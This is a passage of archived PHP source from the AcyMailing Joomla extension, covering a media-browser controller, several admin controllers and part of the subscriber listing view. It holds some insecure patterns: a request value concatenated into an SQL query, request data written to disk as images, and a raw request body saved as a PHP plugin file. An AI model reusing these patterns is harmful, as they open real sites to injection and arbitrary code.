			foreach($mediaFolders as $oneMedia){
				if(preg_match('#^'.preg_quote(rtrim($oneMedia, '/')).'[a-z_0-9\-/]*$#i', $receivedFolder)){
					$allowed = true;
					break;
				}
			}
			if($allowed){
				$defaultFolder = $receivedFolder;
			}else{
				acymailing_display('You are not allowed to access this folder', 'error');
			}
		}

		$uploadPath = acymailing_cleanPath(ACYMAILING_ROOT.trim(str_replace('/', DS, trim($defaultFolder)), DS));

		$uploadedImage = acymailing_getVar('array', 'uploadedImage', array(), 'files');
		if(!empty($uploadedImage)){
			if(!empty($uploadedImage['name'])){
				$this->imageName = acymailing_importFile($uploadedImage, $uploadPath, true);
				if(!empty($this->imageName)){
					$uploadMessage = 'success';
				}else $uploadMessage = 'error';
			}else{
				$uploadMessage = 'error';
				$this->message = acymailing_translation('BROWSE_FILE');
			}
		}

		if(empty($uploadedImage)){
			$pictToDelete = acymailing_getVar('string', 'pictName', '');
			$originalName = acymailing_getVar('string', 'originalName', '');
			$pictToRename = acymailing_getVar('string', 'pictRename', '');
			if(!empty($originalName) && !empty($pictToRename)){
				$pictToDelete = $originalName;
			}
			if(!empty($pictToDelete) && file_exists($uploadPath.DS.$pictToDelete)){
				$checkPictNews = acymailing_loadResultArray('SELECT mailid FROM #__acymailing_mail WHERE body LIKE \'%src="'.ACYMAILING_LIVE.$defaultFolder.'/'.$pictToDelete.'"%\'');
				$checkPictTemplate = acymailing_loadResultArray('SELECT tempid FROM #__acymailing_template WHERE body LIKE \'%src="'.ACYMAILING_LIVE.$defaultFolder.'/'.$pictToDelete.'"%\'');

				if(!empty($checkPictNews) || !empty($checkPictTemplate)){
					foreach($checkPictNews as $k => $oneNews){
						$checkPictNews[$k] = '<a href="" onclick="window.parent.document.location.href=\''.acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'newsletter&task=edit&mailid='.$oneNews).'\'">'.$oneNews.'</a>';
					}
					if(acymailing_isAdmin()){
						foreach($checkPictTemplate as $k => $oneTmpl){
							$checkPictTemplate[$k] = '<a href="" onclick="window.parent.document.location.href=\''.acymailing_completeLink('template&task=edit&tempid='.$oneTmpl).'\'">'.$oneTmpl.'</a>';
						}
					}
					acymailing_display(acymailing_translation_sprintf('ACY_CANT_DELETE', (!empty($checkPictNews) ? implode($checkPictNews, ', ') : '-'), (!empty($checkPictTemplate) ? implode($checkPictTemplate, ', ') : '-')), 'error');
				}else{
					if(acymailing_deleteFile($uploadPath.DS.$pictToDelete)){
						acymailing_display(acymailing_translation('ACY_DELETED_PICT_SUCCESS'), 'success');
					}else{
						acymailing_display(acymailing_translation('ACY_DELETED_PICT_ERROR'), 'error');
					}
				}
			}
			if(!empty($originalName) && !empty($pictToRename)){
				if(acymailing_moveFile($uploadPath.DS.$pictToRename, $uploadPath.DS.$originalName)){
					acymailing_display(acymailing_translation('ACY_REPLACED_PICT_SUCCESS'), 'success');
				}else{
					acymailing_display(acymailing_translation('ACY_REPLACED_PICT_ERROR'), 'error');
				}
			}
		}
		?>

		<div id="acy_media_browser">
			<!-- <br style="font-size:1px"/> -->
			<table id="acy_media_browser_table" style="height:420px;">
				<tr>
					<td style="width:65%; vertical-align:top;">
						<?php

						$folders = acymailing_generateArborescence($mediaFolders);
						$filetreeType = acymailing_get('type.filetree');

						echo '<div style="display:inline-block;width:100%;">';
						echo '<form method="post" action="'.acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'editor&task=createFolder').'" style="margin: 0;">';
						echo '<div id="acy_media_browser_path_dropdown" >';
						$filetreeType->display($folders, $defaultFolder, 'acy_media_browser_files_path', 'changeFolder(path)');
						echo '</div>';

						echo '<div id="acy_media_browser_global_create_folder" >';

						echo '<div id="acy_media_browser_create_folder" >';
						echo '<button id="create_folder_btn" class="btn" onclick="displayAppropriateField(this.id)" type="button" style="width:100%; min-height: 24px;" >'.acymailing_translation('CREATE_FOLDER').'</button>';
						echo '</div>';

						echo '<div id="acy_media_browser_area_create_folder" style=\'display:none;\'>';
						echo '<input id="subFolderName" name="subFolderName" type="text" placeholder="'.acymailing_translation('FOLDER_NAME').'" name="text" required="required" />';
						echo '<input type="submit" class="acymailing_button" style="position: absolute;bottom: 9px;right: 9px;" value="'.acymailing_translation('ACY_APPLY').'" />';
						echo '</div>';

						echo '</div>';
						echo acymailing_formToken();
						echo '</form>';

						echo '<div style="margin-top: 15px; display: inline-block;"><button style="float: right;" class="btn" onclick="changeDisplay(event);" id="btn_change_display" title="'.acymailing_translation('ACY_DISPLAY_NOICON').'"><i id="iconTypeDisplay" class="acyicon-list_view"></i></button></div>';

						echo '</div>';


						acymailing_createDir($uploadPath);
						
						$files = acymailing_getFiles($uploadPath);

						echo '<div id="displayPict"><ul id="acy_media_browser_list">';

						if(!empty($uploadMessage) && !empty($this->message)){
							if($uploadMessage == 'success'){
								acymailing_display($this->message);
							}elseif($uploadMessage == 'error'){
								acymailing_display($this->message, 'error');
							}
						}

						$images = array();
						$imagesFound = false;

						$lineDisplay = '<table class="acymailing_smalltable" style="margin: 0;">';
						foreach($files as $k => $file){
							if(strrpos($file, '.') === false) continue;

							$ext = strtolower(substr($file, strrpos($file, '.') + 1));
							$extensions = array('jpg', 'jpeg', 'png', 'gif');
							if(!in_array($ext, $extensions)) continue;

							$imagesFound = true;
							$images[] = $file;
							$imageSize = getimagesize($uploadPath.DS.$file);
							?>
							<li class="acy_media_browser_images" id="acy_media_browser_images_<?php echo $k; ?>" onmouseover="toggleImageInfo(<?php echo $k; ?>, 'display')" onmouseout="toggleImageInfo(<?php echo $k; ?>, 'hide')">
								<img class="acy_media_browser_image" id="acy_media_browser_image_<?php echo $k; ?>" src="<?php echo ACYMAILING_LIVE.$defaultFolder.'/'.$file.'?v='.@filemtime(ACYMAILING_ROOT.$defaultFolder.'/'.$file); ?>"/>
								<a href="#" onclick="displayImageFromUrl('<?php echo ACYMAILING_LIVE.$defaultFolder.'/'.$file; ?>', 'success', '<?php echo $file; ?>', <?php echo empty($imageSize[0]) ? "null,null" : "'".$imageSize[0]."', '".$imageSize[1]."'"; ?>); return false;">
									<div id="acy_media_browser_image_info_<?php echo $k; ?>"
										 style="box-shadow: 1px 1px 2px 1px rgba(0, 0, 0, 0.2); text-shadow:1px 1px 1px #ffffff; border:2px solid #fff; padding-top:40px; text-align:center; vertical-align:middle; color:#333; font-weight:bold; position:absolute; top:0px; left:0px; bottom:0px; right:0px; display:none; background-color: rgba(255,255,255,0.8);">
										<img class="acy_media_browser_delete" id="acy_media_browser_delete_<?php echo $k; ?>" src="<?php echo ACYMAILING_LIVE.ACYMAILING_MEDIA_FOLDER.DS.'images'.DS.'editor'.DS.'delete.png'; ?>" onclick="confirmBox('delete', '<?php echo $file; ?>')"/>
										<?php echo $file; ?><br/>
										<span class="acy_media_browser_image_size"><?php echo empty($imageSize[0]) ? 0 : $imageSize[0].'x'.$imageSize[1]; ?> - <?php echo round((filesize($uploadPath.DS.$file) * 0.0009765625), 2).' ko'; ?><br/></span>
									</div>
								</a>
							</li>
							<?php
							$lineDisplay .= '<tr>';
							$lineDisplay .= '<td width="30" style="padding-left: 10px;"><a href="#" onclick="displayImageFromUrl(\''.ACYMAILING_LIVE.$defaultFolder.'/'.$file.'\', \'success\', \''.$file.'\', '.(empty($imageSize[0]) ? "null,null" : $imageSize[0].",".$imageSize[1]).'); return false;"><img src="'.ACYMAILING_LIVE.$defaultFolder.'/'.$file.'?v='.@filemtime(ACYMAILING_ROOT.$defaultFolder.'/'.$file).'" style="max-width: 24px" /></a></td>';
							$lineDisplay .= '<td><a href="#" onclick="displayImageFromUrl(\''.ACYMAILING_LIVE.$defaultFolder.'/'.$file.'\', \'success\', \''.$file.'\', '.(empty($imageSize[0]) ? "null,null" : $imageSize[0].",".$imageSize[1]).'); return false;">'.$file.'</a></td>';
							$lineDisplay .= '<td><img class="acy_attachment_delete" id="acy_media_browser_delete_'.$k.'" src="'.ACYMAILING_LIVE.'media'.DS.ACYMAILING_COMPONENT.DS.'images'.DS.'editor'.DS.'delete.png" onclick="confirmBox(\'delete\', \''.$file.'\')"/></td>';


							$lineDisplay .= '</tr>';
						}
						$lineDisplay .= '</table>';
						if(!$imagesFound){
							acymailing_display(acymailing_translation('NO_FILE_FOUND'), 'warning');
						}
						echo '</ul></div>';
						?>
						<div id="displayLine" style="display: none; text-align: left; height: 450px; overflow-x: hidden;">
							<?php
							if(!$imagesFound){
								acymailing_display(acymailing_translation('NO_FILE_FOUND'), 'warning');
							}else{
								echo $lineDisplay;
							} ?>
						</div>
						<!-- Here we give the possibility to import a file or specify and url -->
						<div id="acy_media_browser_actions">
							<div id="acy_media_browser_containing_block">
								<div id="acy_media_browser_buttons_block">
									<button type="button" class="acymailing_button_grey" id="button_editimage" onclick="displayImageEdition();"><?php echo acymailing_translation('IMAGE_EDIT') ?></button>
									<button type="button" class="acymailing_button_grey" id="upload_image_btn" onclick="displayAppropriateField(this.id)"> <?php echo acymailing_translation('UPLOAD_NEW_IMAGE'); ?></button>
									<?php echo acymailing_translation('ACY_OR'); ?>
									<button type="button" class="acymailing_button_grey" id="import_from_url_btn" onclick="displayAppropriateField(this.id)"> <?php echo acymailing_translation('INSERT_IMAGE_FROM_URL'); ?> </button>
								</div>
								<div id="acy_media_browser_hidden_elements">
									<div id="upload_image" style="position: relative; padding-top:5px;	display:none; text-align: center;">
										<form method="post" name="adminForm" id="adminForm" enctype="multipart/form-data" style="margin:0px; margin-top:3px;">
											<input type="file" style="width:auto;" name="uploadedImage"/><br/>
											<input type="hidden" name="task" value="browse"/>
											<input type="hidden" name="selected_folder" value="<?php echo htmlspecialchars($defaultFolder, ENT_COMPAT, 'UTF-8'); ?>"/>
											<?php echo acymailing_formToken(); ?>
										</form>
										<button class="acymailing_button" type="button" onclick="acymailing.submitbutton();"> <?php echo acymailing_translation('IMPORT'); ?> </button>
										<span style="position:absolute; top:5px; left:5px;" id="acy_back_from_upload" onclick="displayAppropriateField(this.id)"><a href="javascript:void(0);">&#8592 <?php echo acymailing_translation('MEDIA_BACK'); ?></a></span>
									</div>
									<div id="import_from_url" style="padding-top:9px; position:relative; ">
										<input type="text" id="acy_media_browser_url_input" class="inputbox" oninput="testImage(this.value, displayImageFromUrl)" value="http://"/>
										<div id="acy_media_browser_insert_message"></div>
										<span style="position:absolute; top:5px; left:5px;" id="acy_back_from_url" onclick="displayAppropriateField(this.id)"><a href="javascript:void(0);">&#8592 <?php echo acymailing_translation('MEDIA_BACK'); ?></a></span>
									</div>
								</div>
							</div>
						</div>
					</td>
					<!-- IMAGE INFORMATION -->
					<td id="acy_media_browser_image_details_row">
						<div id="acy_media_browser_image_details">
							<div id="acy_media_browser_image_selected" style=" max-width:230px; max-height:190px; display:none;	margin:auto; margin-bottom:10px;"></div>
							<div id="acy_media_browser_image_selected_info" style=""></div>
							<div id="acy_media_browser_image_selected_details">
								<label for="acy_media_browser_image_title" style="float:left;"><?php echo acymailing_translation('ACY_TITLE'); ?></label>
								<input type="text" id="acy_media_browser_image_title" class="inputbox" style="width:100%" value=""/>
								<?php $imageZone = acymailing_getVar('array', 'image_zone', array(), '');
								if(!empty($imageZone)){ ?>
									<input type="hidden" id="acy_media_browser_image_width" value=""/>
									<label for="acy_media_browser_image_target"><?php echo acymailing_translation('ACY_LINK'); ?></label>
									<input type="text" id="acy_media_browser_image_target" placeholder="<?php echo ACYMAILING_LIVE; ?>..." class="inputbox" style="width:100%" value=""/>
								<?php }else{ ?>
									<label for="acy_media_browser_image_width" style="display:inline;"><?php echo acymailing_translation('CAPTCHA_WIDTH'); ?></label>    <input type="text" id="acy_media_browser_image_width" style="width:23%;" value="" oninput="calculateSize(0, this.value)"/>
									<br/><label for="acy_media_browser_image_height" style="display:inline;"><?php echo acymailing_translation('CAPTCHA_HEIGHT'); ?></label>    <input type="text" id="acy_media_browser_image_height" style="width:22%;" value="" oninput="calculateSize(this.value, 0)"/>
									<br/><label for="acy_media_browser_image_align" style="display:inline;"><?php echo acymailing_translation('ALIGNMENT'); ?></label>
									<select id="acy_media_browser_image_align" class="chzn-done" style="width:50%">
										<option value=""><?php echo acymailing_translation('NOT_SET'); ?></option>
										<option value="left"><?php echo acymailing_translation('ACY_LEFT'); ?></option>
										<option value="right"><?php echo acymailing_translation('ACY_RIGHT'); ?></option>
									</select><br/>
									<label for="acy_media_browser_image_margin" style="display:inline;"><?php echo acymailing_translation('ACY_MARGIN'); ?></label>    <input type="text" style="width:23%;" id="acy_media_browser_image_margin" value=""/><br/>
									<label for="acy_media_browser_image_border" style="display:inline;"><?php echo acymailing_translation('ACY_BORDER'); ?></label>    <input type="text" style="width:23%;" id="acy_media_browser_image_border" value=""/><br/>
									<label for="acy_media_browser_image_class" style="display:inline;"><?php echo acymailing_translation('ACY_CLASS'); ?></label>    <input type="text" style="width:50%;" id="acy_media_browser_image_class" value=""/>
									<input type="hidden" id="acy_media_browser_image_linkhref" value=""/>
								<?php } ?>
							</div>
							<button class="acymailing_button" type="button" onclick="validateImage();parent.acymailing.closeBox();" style=" position:absolute; bottom:6px; right:6px; "><?php echo acymailing_translation('INSERT'); ?> </button>
						</div>
					</td>
				</tr>
			</table>
			<div class="hidden-edition" id="image-edition">
				<div id="image-edition-content">
					<div class="drag-resize" draggable="true">
						<canvas id="edition-canvas"></canvas>
					</div>
				</div>
				<div class="image-edition-toolbar">
					<br />
					<?php echo acymailing_translation('ACY_IMAGE_EFFECTS') ?><br/>
					<button style="display: inline-block;width:127px;vertical-align: bottom;" type="button" class="acymailing_button_grey" onclick="roundedCorner()"><?php echo acymailing_translation('ACY_EFFECT_ROUNDED') ?></button>
					<input style="font-size:18px;display: inline-block;width:<?php echo ACYMAILING_J30 ? '45' : '58'; ?>px;" type="number" id="radius-image" min="0" max="100" value="50"/>
					<button style="width:100%;" type="button" class="acymailing_button_grey" onclick="changeToCrop()"><?php echo acymailing_translation('ACY_EFFECT_CROP') ?></button>
					<button style="width:100%;" type="button" class="acymailing_button_grey" onclick="changeToScale()"><?php echo acymailing_translation('ACY_EFFECT_SCALE') ?></button>
					<button style="width:100%;" type="button" class="acymailing_button_grey" onclick="cancelModification()"><?php echo acymailing_translation('ACY_CANCEL') ?></button>
					<br/><br/>
					<?php $formAction = acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'editor&task=saveImage'); ?>
					<form style="text-align: center;" id="form-edition" method="post" action="<?php echo $formAction ?>" onsubmit="return false;">
						<input style="width:176px;padding:5px;border-radius:4px;" type="text" name="imagename" id="imagename" value="" placeholder="<?php echo acymailing_translation('ACY_IMAGE_NAME') ?>">
						<input type="hidden" name="imagedata" id="imagedata" value="">
						<input type="hidden" name="pathtosave" id="pathtosave" value="">
						<button style="width:48%;display:inline-block" type="button" class="acymailing_button_grey" onclick="if(document.getElementById('imagename').value == ''){alert('<?php echo str_replace("'", "\'", acymailing_translation('FILL_ALL')); ?>');return false;}validateImageModification()"><?php echo acymailing_translation('ACY_SAVE') ?></button>
						<button style="width:48%;display:inline-block" type="button" class="acymailing_button_grey" onclick="closePanel()"><?php echo acymailing_translation('ACY_CANCEL') ?></button>
						<?php echo acymailing_formToken(); ?>
					</form>
				</div>
			</div>
			<div class="confirmBoxMM" id="confirmBoxMM" style="display: none;">
				<div id="acy_popup_content">
					<span class="confirmTxtMM" id="confirmTxtMM"></span><br/>
					<button class="acymailing_button" id="confirmCancelMM" onclick="document.getElementById('confirmBoxMM').style.display='none';" style="padding: 6px 15px 6px 10px;">
						<i class="acyicon-cancel" style="margin-right: 5px; font-size: 16px;top: 2px; position: relative;"></i><?php echo acymailing_translation('ACY_CANCEL'); ?>
					</button>
					<button class="acymailing_button acymailing_button_delete" id="confirmOkMM" style="padding: 8px 15px 6px 10px;">
						<i class="acyicon-delete" id="iconAction" style="margin-right: 5px; font-size: 12px;"></i><span id="textBtnAction"><?php echo acymailing_translation('ACY_DELETE'); ?></span>
					</button>
				</div>
			</div>
		</div>
		<?php

		$imageZone = acymailing_getVar('array', 'image_zone', array(), '');
		if($imageZone){
			echo '<script>checkSelected(true);</script>';
		}else{
			echo '<script>checkSelected();</script>';
		}

		if(isset($uploadMessage) && $uploadMessage == 'success' && file_exists(ACYMAILING_ROOT.rtrim($defaultFolder, '/').'/'.$this->imageName)){
			$imageSize = getimagesize(ACYMAILING_LIVE.rtrim($defaultFolder, '/').'/'.$this->imageName);
			echo '<script> displayImageFromUrl(\''.ACYMAILING_LIVE.rtrim($defaultFolder, '/').'/'.$this->imageName.'\',\'success\', \''.$this->imageName.'\', '.(empty($imageSize[0]) ? "null,null" : $imageSize[0].",".$imageSize[1]).');</script>';
		}
	}

	public function saveImage(){
		acymailing_checkToken();
		$data = $_POST['imagedata'];
		$name = acymailing_getVar('string', 'imagename', '');
		$pathtosave = acymailing_getVar('path', 'pathtosave', '', 'post');

		$uri = substr($data, strpos($data, ",") + 1);
		file_put_contents(ACYMAILING_ROOT.$pathtosave.DS.$name.'.png', base64_decode($uri));
	}

	public function createFolder(){
		acymailing_checkToken();
		$folderName = str_replace(array('.', '-'), array('', '_'), strtolower(acymailing_getVar('cmd', 'subFolderName')));
		if(empty($folderName)){
			$this->browse();
			return false;
		}

		$directoryPath = acymailing_getVar('string', 'acy_media_browser_files_path').'/'.$folderName;

		$mediaFolders = acymailing_getFilesFolder('media', true);
		$allowed = false;
		foreach($mediaFolders as $oneMedia){
			if(preg_match('#^'.preg_quote($oneMedia).'[a-z_0-9\-/]*$#i', $directoryPath)){
				$allowed = true;
				break;
			}
		}
		if(!$allowed){
			acymailing_enqueueMessage('You are not allowed to create this folder', 'error');
			$this->browse();
			return false;
		}

		$directoryPath = str_replace('/', DS, $directoryPath);
		if(is_dir(ACYMAILING_ROOT.$directoryPath)){
			acymailing_enqueueMessage(acymailing_translation('FOLDER_ALREADY_EXISTS'), 'warning');
			$this->browse();
			return false;
		}
		if(!acymailing_createFolder(ACYMAILING_ROOT.$directoryPath)){
			acymailing_enqueueMessage(acymailing_translation_sprintf('WRITABLE_FOLDER', substr(ACYMAILING_ROOT.$directoryPath, 0, strrpos(ACYMAILING_ROOT.$directoryPath, DS)), 'error'));
			$this->browse();
			return false;
		}
		acymailing_setVar('selected_folder', acymailing_getVar('string', 'acy_media_browser_files_path').'/'.$folderName);
		$this->browse();
	}
}
com_acymailing/controllers/action.php000060400000003144152455305300014053 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class ActionController extends acymailingController{

	var $pkey = 'action_id';
	var $table = 'action';
	var $aclCat = 'distribution';

	function listing(){
		$actionColumns = acymailing_getColumns('#__acymailing_action');
		if(empty($actionColumns['senderfrom'])){
			acymailing_query("ALTER TABLE #__acymailing_action ADD `senderfrom` tinyint NOT NULL DEFAULT 0");
		}
		if(empty($actionColumns['senderto'])){
			acymailing_query("ALTER TABLE #__acymailing_action ADD `senderto` tinyint NOT NULL DEFAULT 0");
		}
		if(empty($actionColumns['delete_wrong_emails'])){
			acymailing_query("ALTER TABLE #__acymailing_action ADD `delete_wrong_emails` tinyint NOT NULL DEFAULT 0");
		}

		if(!acymailing_level(3)){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->setTitle(acymailing_translation('ACY_DISTRIBUTION'), 'action');
			$acyToolbar->help('distributionlists#listing');
			$acyToolbar->display();
			$config = acymailing_config();
			$level = $config->get('level');
			$url = ACYMAILING_HELPURL.'paidversion&utm_source=acymailing-'.$level.'&utm_medium=back-end&utm_content=distributionlist-display&utm_campaign=upgrade';
			$iFrame = "<iframe class='paidversion' frameborder='0' src='$url' width='100%' height='100%' scrolling='auto'></iframe>";
			echo $iFrame.'<div id="iframedoc"></div>';
			return;
		}

		return parent::listing();
	}

}
com_acymailing/controllers/email.php000060400000006571152455305300013674 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class EmailController extends acymailingController{
	
	function test(){

		$this->store();

		$mailHelper = acymailing_get('helper.mailer');

		$receiver = acymailing_currentUserEmail();
		$mailid = acymailing_getCID('mailid');

		$mailHelper->report = false;
		$result = $mailHelper->sendOne($mailid, $receiver);
		acymailing_enqueueMessage($mailHelper->reportMessage, $result ? 'success' : 'error');

		return $this->edit();
	}

	function store(){
		acymailing_checkToken();

		$oldMailid = acymailing_getCID('mailid');
		$mailClass = acymailing_get('class.mail');

		if($mailClass->saveForm()){
			$data = acymailing_getVar('none', 'data');
			$type = @$data['mail']['type'];
			if(!empty($type) AND in_array($type, array('unsub', 'welcome'))){
				$subject = addslashes($data['mail']['subject']);
				$mailid = acymailing_getVar('int', 'mailid');
				if($type == 'unsub'){
					$js = "var mydrop = window.top.document.getElementById('datalistunsubmailid'); ";
					$js .= "var type = 'unsub';";
				}else{ //type=welcome
					$js = "var mydrop = window.top.document.getElementById('datalistwelmailid'); ";
					$js .= "var type = 'welcome';";
				}
				if(empty($oldMailid)){
					$js .= 'var optn = document.createElement("OPTION");';
					$js .= "optn.text = '[$mailid] $subject'; optn.value = '$mailid';";
					$js .= 'mydrop.options.add(optn);';
					$js .= 'lastid = 0; while(mydrop.options[lastid+1]){lastid = lastid+1;} mydrop.selectedIndex = lastid;';
					$js .= 'window.top.changeMessage(type,'.$mailid.');';
				}else{
					$js .= "lastid = 0; notfound = true; while(notfound && mydrop.options[lastid]){if(mydrop.options[lastid].value == $mailid){mydrop.options[lastid].text = '[$mailid] $subject';notfound = false;} lastid = lastid+1;}";
				}
				if(ACYMAILING_J30) $js .= 'window.top.jQuery("#datalist'.($type == 'unsub' ? 'unsub' : 'wel').'mailid").trigger("liszt:updated");';
				acymailing_addScript(true, $js);
			}
			acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'), 'success');
		}else{
			acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
		}
	}//endfct store

	function chooseListBeforeSend(){
		return $this->listing();
	}

	function sendArticle(){
		$mailClass = acymailing_get('class.mail');
		$listmailClass = acymailing_get('class.listmail');
		$mailerHelper = acymailing_get('helper.mailer');

		$query = 'SELECT * FROM #__acymailing_mail WHERE type = \'article\'';
		$mail = acymailing_loadObject($query);

		$listsids = acymailing_getVar('array', 'cid', array(), '');
		acymailing_arrayToInteger($listsids);

		$newMailId = $mailClass->copyOneNewsletter($mail->mailid);
		$newMail = $mailClass->get($newMailId);
		$newMail->alias = '';
		$newMail->senddate = time();
		$newMail->published = 2;
		$newMail->type = 'news';
		$mailerHelper->triggerTagsWithRightLanguage($newMail, false); //We replace the tags in the mail
		$mailid = $mailClass->save($newMail);

		$listmailClass->save($mailid, $listsids);

		$schedHelper = acymailing_get('helper.schedule');
		$schedHelper->queueScheduled();
		if(!empty($schedHelper->messages)) acymailing_enqueueMessage($schedHelper->messages);
	}
}//endclass
com_acymailing/controllers/tag.php000060400000003343152455305300013352 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class TagController extends acymailingController
{
	var $aclCat = 'tags';

	function __construct($config = array()){
		parent::__construct($config);
		acymailing_setNoTemplate();

		$this->registerDefaultTask('tag');
	}

	function tag(){
		if(!$this->isAllowed($this->aclCat,'view')) return;
		acymailing_setVar( 'layout', 'tag'  );
		return parent::display();
	}

	function plgtrigger(){
		if(!require_once(ACYMAILING_BACK.DS.'controllers'.DS.'cpanel.php')) return;
		$cPanelController = acymailing_get('controller.cpanel');
		$cPanelController->plgtrigger();
		return;
	}

	function customtemplate(){
		acymailing_setVar('layout', 'form');
		return parent::display();
	}

	function store(){
		acymailing_checkToken();

		$plugin = acymailing_getVar('string', 'plugin');
		$plugin = preg_replace('#[^a-zA-Z0-9]#Uis', '', $plugin);
		$body = acymailing_getVar('string', 'templatebody', '', '', ACY_ALLOWRAW);

		if(empty($body)){ acymailing_enqueueMessage(acymailing_translation('FILL_ALL'),'error'); return; }

		$pluginsFolder = ACYMAILING_MEDIA.'plugins';
		if(!file_exists($pluginsFolder)) acymailing_createDir($pluginsFolder);

		try{
			
			$status = acymailing_writeFile($pluginsFolder.DS.$plugin.'.php',$body);
		}catch(Exception $e){
			$status = false;
		}

		if($status) acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'),'success');
		else acymailing_enqueueMessage(acymailing_translation_sprintf('FAIL_SAVE', $pluginsFolder.DS.$plugin.'.php'),'error');
	}
}
com_acymailing/views/subscriber/view.html.php000060400000042653152455305300015455 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class SubscriberViewSubscriber extends acymailingView{

	var $searchFields = array('a.name', 'a.email', 'a.subid', 'a.userid');
	var $selectedFields = array('a.*');
	var $ctrl = 'subscriber';

	function __construct($config = array()){
		parent::__construct($config);

		$this->searchFields[] = 'b.'.$this->cmsUserVars->username;
		$this->selectedFields[] = 'b.'.$this->cmsUserVars->username.' AS username';
	}

	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function listing(){
		$pageInfo = new stdClass();
		$pageInfo->elements = new stdClass();
		$config = acymailing_config();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.subid', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$selectedList = acymailing_getUserVar($paramBase."filter_lists", 'filter_lists', 0, 'string');
		$selectedStatus = acymailing_getUserVar($paramBase."filter_status", 'filter_status', 0, 'int');
		$selectedStatusList = acymailing_getUserVar($paramBase."filter_statuslist", 'filter_statuslist', 0, 'int');
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));

		$pageInfo->limit = new stdClass();
		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$filters = array();
		$customFields = acymailing_get('class.fields');

		$displayFields = array();
		$displayFields['name'] = new stdClass();
		$displayFields['name']->fieldname = 'JOOMEXT_NAME';
		$displayFields['name']->type = 'text';
		$displayFields['email'] = new stdClass();
		$displayFields['email']->fieldname = 'JOOMEXT_EMAIL';
		$displayFields['email']->type = 'text';
		$displayFields['html'] = new stdClass();
		$displayFields['html']->fieldname = 'RECEIVE_HTML';
		$displayFields['html']->type = 'radio';


		if(!empty($pageInfo->search)){
			foreach($displayFields as $fieldname => $onefield){
				if($fieldname == 'html' OR in_array('a.'.$fieldname, $this->searchFields) OR $onefield->type == 'customtext') continue;
				$this->searchFields[] = 'a.`'.$fieldname.'`';
			}
			if(!is_numeric($pageInfo->search)){
				$this->searchFields = array_diff($this->searchFields, array('a.subid', 'a.userid'));
			}

			if(strpos($pageInfo->search, '@') !== false){
				$this->searchFields = array_diff($this->searchFields, array('a.name', 'b.username'));
			}

			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $this->searchFields)." LIKE $searchVal";
		}

		$leftJoinQuery = array();
		$joinQuery = array();

		if(strpos($selectedList, ',') !== false){
			$lists = explode(',', rtrim($selectedList, ','));
			acymailing_arrayToInteger($lists);
			$selection = implode(',', $lists);
		}else{
			$selection = intval($selectedList);
		}

		if(empty($selectedList) || ($selectedStatusList == -2 && acymailing_isAdmin())){
			if(empty($selectedList) && $selectedStatusList == -2) $selectedStatusList = 0;
			$fromQuery = ' FROM '.acymailing_table('subscriber').' as a ';
			$leftJoinQuery[] = acymailing_table($this->cmsUserVars->table, false).' as b ON a.userid = b.'.$this->cmsUserVars->id;

			if($selectedStatusList == -2){
				$leftJoinQuery[] = acymailing_table('listsub').' AS c on a.subid = c.subid AND listid IN ('.$selection.')';
				$filters[] = 'c.listid IS NULL';
			}
			$countField = "a.subid";
		}else{
			$fromQuery = ' FROM '.acymailing_table('listsub').' as c';
			$countField = "c.subid";
			$joinQuery[] = acymailing_table('subscriber').' as a ON a.subid = c.subid';
			$leftJoinQuery[] = acymailing_table($this->cmsUserVars->table, false).' as b ON a.userid = b.'.$this->cmsUserVars->id;
			$filters[] = 'c.listid IN ('.$selection.')';

			if(!in_array($selectedStatusList, array(-1, 1, 2))) $selectedStatusList = 1;
			$filters[] = 'c.status = '.intval($selectedStatusList);
		}

		if($selectedStatus == 1){
			$filters[] = 'a.accept > 0';
		}elseif($selectedStatus == -1){
			$filters[] = 'a.accept < 1';
		}elseif($selectedStatus == 2){
			$filters[] = 'a.confirmed < 1';
		}elseif($selectedStatus == 3){
			$filters[] = 'a.enabled > 0';
